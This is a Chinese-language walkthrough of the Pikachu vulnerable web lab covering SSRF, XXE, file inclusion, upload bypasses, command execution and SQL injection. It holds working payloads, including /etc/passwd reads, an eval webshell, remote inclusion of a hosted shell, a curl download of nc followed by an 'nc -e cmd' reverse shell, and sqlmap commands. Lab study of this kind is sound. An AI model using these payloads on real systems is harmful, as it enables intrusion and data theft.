攻略:https://blog.csdn.net/qq_53571321/article/details/121692906

https://blog.csdn.net/qq_65165505/article/details/131568188

SSRF

原理、绕过、防御的介绍:https://blog.csdn.net/qq_43378996/article/details/124050308

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者—–>服务器—->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤

SSRF(curl)

image-20240708210944040

页面只有一个可点击的文字,不懂跳转到哪,尝试点击

image-20240708211013270

可以看到点击后,向该文件传了个url参数,可以尝试通过该参数去访问外站,或获取相应内网信息,先试试访问百度,发现确实可以

image-20240708211322955

核心代码

if(isset($_GET['url']) && $_GET['url'] != null){

//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE); //CURLOPT_HEADER 设置为 FALSE,表示不包含响应头部信息。
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);//CURLOPT_SSL_VERIFYPEER 设置为 FALSE,表示不验证对等证书。
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;

就是将传入的连接用curl执行,返回信息存到$RES,最后打印出来

所以,接收URL时要注意过滤,同时这个漏洞也可以被利用来获取真实ip,把传入的url换成相应的dnslog网站即可https://blog.csdn.net/weixin_39190897/article/details/117197126

image-20240708220957902

不懂怎么解析在这

SSRF(file_get_content)

image-20240708211751105

同样的操作,这里不再是传url了而是file,说明ssrf不仅可以利用来访问外站,还可以内部横向获取信息,我们尝试利用目录遍历,看看能不能访问到敏感文件

image-20240708211920880

可以看到确实访问了敏感文件,这也是ssrf不出网的一种利用方式,这里有gopher版本的https://blog.csdn.net/weixin_43221560/article/details/108107826

核心代码

//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}

关键就是使用 file_get_contents() 函数读取文件内容,并将结果存储在 $str 变量中

URL重定向

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生”跳错对象”的问题。

url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

这个主要就是点击连接跳转的不是自己想去的地址

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def index():
# 重定向到另一个页面
return redirect('/home')

@app.route('/home')
def home():
return "欢迎来到主页!"

if __name__ == '__main__':
app.run()

这个就是一个重定向的过程,当我们访问网站根目录是会跳转到home

image-20240708221951073

这时候如果我们将他换成baidu首页试试

image-20240708222044277

你会发现访问连接后直接来到baidu页面

XXE

介绍:https://security.tencent.com/index.php/blog/msg/69

XXE -“xml external entity injection”
既”xml外部实体注入漏洞”。
概括一下就是”攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

image-20240708222329045

这里会提交一个表单,我们先随便输点东西,抓包下来分析数据包

image-20240708223008798

可以看到xml是作为post的请求体传输的,里面一个参数xml和提交的url编码,这里我们可以通过对修改xml为对应的xml信息

<?xml version = "1.0"?> 
<!DOCTYPE note [ <!ENTITY hacker "xxe"> ]>
<name>&hacker;</name>

传递参数的时候要记得url编码

image-20240708223442244

image-20240708223850475

也可以读取文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

同样url编码一下

image-20240708225101910

核心代码:

防范方法

  1. 严格检查用户输入的字符;

  2. 检查使用的底层XML解析库,使用禁用外部实体的方法

  3. JAVA下:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
dbf.setExpandEntityReferences(false);
  1. PHP下:

libxml_disable_entity_loader(true);

  1. Python下:
from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 操作XML时对格式字符进行转义处理,常见的格式字符如下表: &lt; < > > & & ‘ ‘ “ “

PHP反序列化

个人笔记:E:\Youzipii\source_posts\php-SER-libs.md

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

漏洞举例:

class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

image-20240708224430307

这里我们先查看源代码

<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "unser.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';

class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}

}
?>

简单分析下逻辑,我们需要触发的魔术方法是construct,这个是在对象创建的时候自动调用的,当我们反序列化一串序列化后的对象,就会触发这个方法,且方法的功能是将pikachu写道test‘里,我们需要将test改为我们想输出的内容,比如弹窗

<?php
class S{
var $test="<script>alert(1)</script>";
}
echo serialize(new S());
?>
#O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

在线运行即可,再将打印的序列化的字符串输入测试

image-20240709102631819

敏感信息泄露概述

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;

类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

image-20240709102936207

在测试页面能找到账号密码

目录遍历漏洞

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。

看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。

需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在”i can see you ABC”中了解更多)

你可以通过“../../”对应的测试栏目,来进一步的了解该漏洞。

image-20240709103441402

随便点击页面中的两个连接,发现传递的参数是一个文件,可以试试能不能进行目录遍历

title=../../../../../../../etc/passwd #几个..没关系,数量够多就都是从根目录开始访问

image-20240709103626405

看下代码:

$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
###
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';

$html='';
if(isset($_GET['title'])){
$filename=$_GET['title'];
//这里直接把传进来的内容进行了require(),造成问题
require "soup/$filename";
// echo $html;
}

include和require:https://www.runoob.com/php/php-includes.html

require会把传进来的文件和soup进行拼接,访问,所以我们可以通过目录遍历的方式访问到相应的文件

越权

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

你可以通过“Over permission”对应的测试栏目,来进一步的了解该漏洞。

水平越权

image-20240709104124826

先随便登陆一个用户,查看个人信息

image-20240709104250186

尝试修改username,看下能否访问到其它用户的信息

image-20240709104334389

可以看到我们修改后不用登陆就可以看到kobe的信息了

垂直越权

第一步:打开pikachu的垂直越权
点开提示,发现有一个高权限用户admin和低权限用户pikachu

image-20240719103016858

第二步:分别登录上两个不同账户进行查看,发现admin有添加用户的权限,而pikachu只有查看用户的权限

image-20240719103102289

image-20240719103126762

第三步:垂直越权测试(使用pikachu的身份去添加用户)
首先,先登录行admin账号,添加账户,然后把添加账户的数据包拦截导入 Repeater (重放器)模块

image-20240719103556348

image-20240719103941444

此时把当前拦截的数据包丢弃,admin账户退出登录

image-20240719104041195

第四步:在admin账户退出登录的情况下,重新发送创建账户的数据包

image-20240719104134926

然后用pikachu普通用户身份登录查看账户是否创建成功

image-20240719104205661

发现并没有刚刚创建的账户二狗
原因:创建二狗用户的时候admin账户已退出登录
第五步:使用pikachu的身份创建二狗账户
查看数据包中最后一个数据包就是刚刚pikachu登录的数据包

image-20240719104404330

复制其中的cookie替换repeater中的cookie

image-20240719104511119

发送,再回到页面查看

image-20240719104540254

成功添加zs用户

不安全的文件上传

https://blog.csdn.net/qq_43390703/article/details/104858705

因为业务功能需要,很多web站点都有文件上传的接口,比如:
1.注册时上传头像图片(比如jpg.png,gif等) ;
2.上传文件附件( doc,xIs等) ;
而在后台开发时并没有对上传的文件功能进行安全考虑或者采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件(如:一句话木马)从而通过对该恶意文件的访问来控制整个web后台。

文件上传漏洞测试流程:
1,对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等);
2 ,尝试上传不同类型的“恶意”文件,比如xx.php文件,分析结果;
3,查看html源码,看是否通过js在前端做了上传限制,可以绕过;
4 ,尝试使用不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等;
5,猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试。

client check

image-20240709133758141

发现有过滤、查看源码

image-20240709133839677

发现只允许上环这三类文件,但过滤是在前端,所以我们可以抓包修改后缀,准备好测试文件my.jpg

<?php
echo "<h1>Success<h1>";
?>

image-20240709134314179

image-20240709134349408

可以看到文件上传成功,访问看下是否被解析

image-20240709134704717

也可以用一句话木马来获得shell,直接修改刚刚的数据

image-20240709135552001

image-20240709135654692

MIMEtype

这一关我们首先要知道MIME是什么

https://www.runoob.com/http/mime-types.html

常见的 MIME 类型

  • 超文本标记语言文本 .html、.htmltext/html
  • 普通文本 .txttext/plain
  • RTF 文本 .rtfapplication/rtf
  • GIF 图形 .gifimage/gif
  • JPEG 图形 .jpeg、.jpgimage/jpeg

同样的方法,我们先上传文件,抓包,跳过前端过滤

image-20240709140138780

这是jpeg的MIEME,我们可以试着不修改这个,只修改后缀上传一下看会发生什么

image-20240709140737222

image-20240709140724024

发现还是可以上传成功的,我们试试直接上传php文件,不修改后缀

image-20240709140912331

发现返回了octet-stream,我们尝试修改这个为刚刚的jpg

image-20240709141002626

发现上传成功

image-20240709141026972

同样是会被解析的,shell我就不试了,一样的方法

getimagesize()

按照前面的流程走了一下

image-20240709150847618

加个文件头试试

image-20240709152434708

还是不行,估计后端还有过滤,可以试试图片马,分析一下,getimagesize

Getimagesize ( )返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。
是否可以绕过呢?可以,因为图片头可以被伪造。
图片木马的制作:
方法1 :直接伪造头部GIF89A
方法2.CMD: copy /b test.png + muma.php ccc.png
方法3.使用GIMP (开源的图片修改软件) , 通过增加备注,写入执行命令

法一:可以发现路径都变复杂了,访问一下试试

image-20240709152644856

但访问该页面,phpinfo()没有被执行,所以还需要利用到文件包含漏洞,修改路径

image-20240709153102562

http://192.168.174.142:8080/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/07/09/631387668ce6236f935032106790.jpg&submit=%E6%8F%90%E4%BA%A4

image-20240709155835360

不安全的文件下载

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

进入页面

image-20240709160524010

点击头像下载文件,试一试

image-20240709163016390

抓下下载包

image-20240709163101047

发现下载连接,我们可以通过修改filename来下载其它文件

image-20240709163207303

image-20240709163242802

文件包含

https://www.freebuf.com/articles/web/367359.html

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

local

image-20240709163736181

随便提交一个内容,发现返回了文件名,可以通过修改filename参数,访问敏感文件

image-20240709163829452

remote

和上一关不同的是,这一关可以进行远程访问,我们可以通过这个访问百度

image-20240709171034164

也就意味着可能通过这个下载自己上传到服务器的木马,我们可以看下这两个的源码有什么区别

local:
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";

// }
}
remote:
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";//变量传进来直接包含,没做任何的安全限制


}

可以啊看到本地的他多了个文件显示,而远程的他是把你的参数直接包含过来,没有其它的内容

获得shell

首先访问网页:http://192.168.174.160/pikachu/vul/fileinclude/fi_remote.php

image-20240731162634753

出现这个问题,你就去小皮文件里的php里找到对应版本的php.ini

image-20240731162728725

然后重启服务

image-20240731162801467

随便提交一个查询

image-20240731162825791

可以看到存在文件包含漏洞,看下能不能包含baidu

image-20240731162931757

成功包含,下面用python起一个服务器

python -m http.server 9966

image-20240731163104569

image-20240731163117363

在这里启动服务器,然后访问

http://192.168.174.160:9966

image-20240731163200894

然后将前面包含百度的连接改为我们服务器的连接

http://192.168.174.160/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.174.160:9966/shell.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20240731163304896

文件包含这个连接,事没有下载的,只是包含在也面里,所以我们需要利用php的fputs函数创建文件,并写入shell,所以说自己写一个马

<?php 
?>');
?>

image-20240731164124749

然后去包含这个连接

http://192.168.174.160/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.174.160:9966/myshell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20240731164226798

发现成功上传了,路径就是fileinclude那个目录,接下来用蚁剑或冰蝎都可以连

image-20240731164717640

RCE(remote command/code execute)

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过”自动化运维平台”进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的”收获”-_-

远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

管道符号和通用命令符

LInux:

;前面的执行完执行后面的

echo 1;echo 2;echo 3

|是管道符,显示后面的执行结果

touch 1.txt | cat 1.txt | echo 1

image-20241108163648878

||当前面的执行出错时执行后面的,否则不执行后面的

echo 1 || echo 2 
cd c || echo 1

image-20241108163825492

Windows

&前面的语句为假则直接执行后面的

ping 1234.1 & whoami 

&&前面的语句为假则直接出错,后面的也不执行

ping 1234.1 && whoami

|直接执行后面的语句

echo 1 | whoami 

||前面出错执行后面的,否则只执行前面的

ping 124.1 || whoami // username
echo 1 || whoami // 1

ping

image-20240710120424514

ping一下本地地址,通过或来执行别的命令

image-20240710121302243

可以看到是windows的目录,我们上传一下nc,用来反弹shell

python -m http.server 9966
curl -o nc.exe http:ip:port/nc64.exe

image-20240710131315451

在攻击机监听

nc -lvvp 6666

反弹shell

127.0.0.1 | nc64.exe -e cmd 192.168.174.142 6666

成功反弹

image-20240710132234921

exec “eval”

动态执行代码:eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。

字符串转换为代码:eval() 函数将接收到的字符串参数解析为编程语言的有效代码,并尝试执行该代码。这意味着您可以在字符串中包含变量、表达式、函数调用等,并且它们将在执行时被解释和计算。
直接执行phpinfo();即可

image-20240710133200319

image-20240710133206389

再php下,允许命令执行的常见函数

eval() assert() preg_replace() call_user_func() $a($b)

image-20241108164304258

image-20241108164323565

pattern:要搜索的模式,可以是一个字符串或字符串数组。当pattern出存在一个“/e”修饰符时,$replacement的值会被当成php代码来执行。

image-20241108164416174

image-20241108164444093

常用利用方式

?a=@eval($_POST[666]);一句话木马
?a=print(__FILE__);获取当前绝对路径
?a=var_dump(file_get_contents('C:\Windows\System32\drivers\etc\hosts'));
?a=var_dump(file_put_contents($_POST[1],$_POST[2]));
1=shell.php&2=<?php phpinfo() ?>写shell

SQL注入

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!

数字型注入post

image-20240710135652088

简单提交下,有回显,但post表单数据不在url显示,我们抓包下来测试

image-20240710135828045

数字型注入,找一下有几个字段

image-20240710135947104

image-20240710135958024

说明有2个字段,测试下回显位置

image-20240710140132081

下面就是查库、表、列名了,这里用联合查询注入的方法

image-20240710140230275

union select 1,table_name from information_schema.tables where table_schema="pikachu" 

image-20240710140347892

union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users"

image-20240710140437543

有了字段名,下面就可以查询用户名和密码了

image-20240710140525618

密码可以拿去cmd5网站去跑一跑

也可以用sqlmap来跑,先把抓到的包保存1.txt

sqlmap教程https://blog.csdn.net/dzqxwzoe/article/details/132683722

image-20240710215454283

然后用sqlmap去判断有没有注入点

python sqlmap.py -r 1.txt 
如果不是post方法,可以直接-u "url"

image-20240710215918864

中间弹出的信息,可以稍微看一下,根据需要选择,有些不想询问的可以加上–batch参数

image-20240710220131281

这里弹出的level是指需要执行的测试等级,一共有5个等级(1-5) 不加 level 时,默认是1

5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢,这里我们也是默认即可

image-20240710220326703

这里提示检测到参数可能存在攻击,是否跳过其它参数的检测,这里我们就跳过

image-20240710220503753

这里只执行基本UNION测试。您想要减少请求的数量吗?我们选择yes

image-20240710220741144

最终也是测试出来存在这些注入,然后我们可以进一步去测试了

获取库名

python sqlmap -u "url" --dbs / -r 1.txt --dbs

image-20240710221945660

有时候获取库名比较慢,尤其是在时间盲注的情况下

查看当前使用的数据库

python sqlmap -u "url" --current-db / -r 1.txt --current-db

image-20240710222105522

查看数据表

python sqlmap -u "url" -D "pikachu" --tables / -r 1.txt  -D "pikachu" --tables

image-20240710222158340

查看字段名

python sqlmap -u "url" -D "pikachu" -T "users" --column / -r 1.txt -D "pikachu" --column

image-20240710223344049

查看字段内容 –dump,中间可能会跳出是否需要破解,先不选,比较耗时间,可以提出来自己去破解

image-20240710223608109

image-20240710223923451

字符型注入get

image-20240710224704244

get方法会在url里中看到参数的内容,这里我们就不用sqlmap了,在hackerbar里测试把,同样的注入点,手工联合注入一下

测试闭合

http://192.168.174.143/pikachu/vul/sqli/sqli_str.php?name=1'&submit=%E6%9F%A5%E8%AF%A2

image-20240711000759059

单引号,测试字段数,要注意我们传进去的引号被url编码了,所以我们后面的测试语句也要url编码再执行

image-20240711085435356

空格是被换成+号了,还是在原来的输入框里测试把,注意加上#号注释后后买你的判断,当我们

http://192.168.174.143/pikachu/vul/sqli/sqli_str.php?name=1%27+order+by+3%23&submit=%E6%9F%A5%E8%AF%A2

image-20240711085702514

发现是2个字段,测试回显位

http://192.168.174.143/pikachu/vul/sqli/sqli_str.php?name=1%27+union+select+1%2C2%23&submit=%E6%9F%A5%E8%AF%A2

image-20240711085805590

同样的方法,库表列

image-20240711090105914

这里就不敲了,拿sqlmap试试batch参数

image-20240711092314160

加上batch参数后,就不用一直输如y了,都是执行默认条件,就到这里了

搜索型注入

参考:https://www.cnblogs.com/IronMind/p/16973627.html

image-20240711124400390

通过测试我们可以看到,用%这个通配符,我们可以获得所有得信息,说明存在注入漏洞,测试字段数,测试字段数就不用%了

image-20240711124529279

测出来3个,下面就是测试回显位置,和联合注入差不多,如果要用%来做得话

%' union select 1,2,3,4 and '%'='&submit=搜索

来通过页面回显是否正常判断,基本上就是靠猜

%'and(select count(*)from users)>0 and '%'='&submit=搜索

image-20240711125140531

没有报错就说明有这个表,对于不存在得表会返回报错信息

image-20240711125203234

这里再补充一个sqlmap的参数,他可以用–data指定传递的参数,所以有时候post也可以用这种方法来进行,就不一定要抓波,虽然抓包还是靠谱一点,不会漏参数

xx型注入

https://blog.csdn.net/witwitwiter/article/details/115939955

感觉就是字符型,主要就是找闭合方式

image-20240711125627325

常见闭合方式就是单双引号+括号的组合,比如’ ‘,”,’),”).

image-20240711130213464

insert/update注入

进来页面先注册一个用户,又有一个修改信息的页面,正好对应了insert和update两个操作,来insert把,抓包

image-20240711130502034

image-20240711130523518

简单测试了下,确实存在注入点,用sqlmap测试一下,正好试试–data参数

python sqlmap.py -u "http://192.168.174.143/pikachu/vul/sqli/sqli_iu/sqli_reg.php" --data "u
sername=*&password=2&sex=2&phonenum=2&email=2&add=2&submit=submit" --batch

image-20240711131220059用的时候data的数据可以用*标出来注入点,这里因为前面多打了个引号。。

image-20240711131534444

这下出来了,下面试试手注

https://blog.csdn.net/m0_60988110/article/details/123544853

先判断注入点一个’就够,然后判断闭合方式

image-20240711152844243

由图我们可以看出闭合方式是一个单引号,但后面还有其它数据给他再闭合一下

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'

image-20240711161042257

查表

username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'

image-20240711164022756

查列

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1) and'

image-20240711164425914

查数据

username=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and'

image-20240711164836549image-20240711164914426

delete注入

顾名思义,删除注入,我们删除一个留言抓包

image-20240711221325301

推测注入点就是那个id,可以发到repeater’试试

image-20240711221435752

看下字符型还是数字型

image-20240711221533743

可以看到正常回显说明是数字型,但删除了,加参数没返回字段,也就没回显了,可以用报错注入试试

or updatexml(1,concat(0x7e,database()),0)#

image-20240711223945730

这个还是比较累的,用sqlmap试试

image-20240712104538856

image-20240712104548859

http-header注入

什么是Http Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
image-20240712111835963

登陆上去,刷新页面抓包,测试下User-agent是否存在注入点,发现是存在

' or updatexml(1,concat(0x7e,database()),0) or '

image-20240712112358545

可以爆出库名,下面就是一步一步的测试了,要注意前后引号闭合,逻辑连续

image-20240712113252213

也可以用sqlmap注入,但要用-p指定,因为默认的level好像是不检查这些字段的

image-20240712152543681

试试cookie注入,前面的-p也可以指定cookie

image-20240713220931790

加个引号之后,有报错回显,这里就不手工测了,sqlmap测一下–cookie参数,顺便补充个知识点,–form能看post的表单,省的抓包,但我感觉还是抓个包不容易漏东西

image-20240713221800329

python sqlmap.py -u "http://192.168.174.160/pikachu/vul/sqli/sqli_header/sqli_header.php" --cookie="uname=admin" --level 3

image-20240713222231002

也是可以测试出来的,试试-p

>python sqlmap.py -r 1.txt -p cookie --level 3

好像不能加batch,中间有个要编码选项要选no,不然会失败

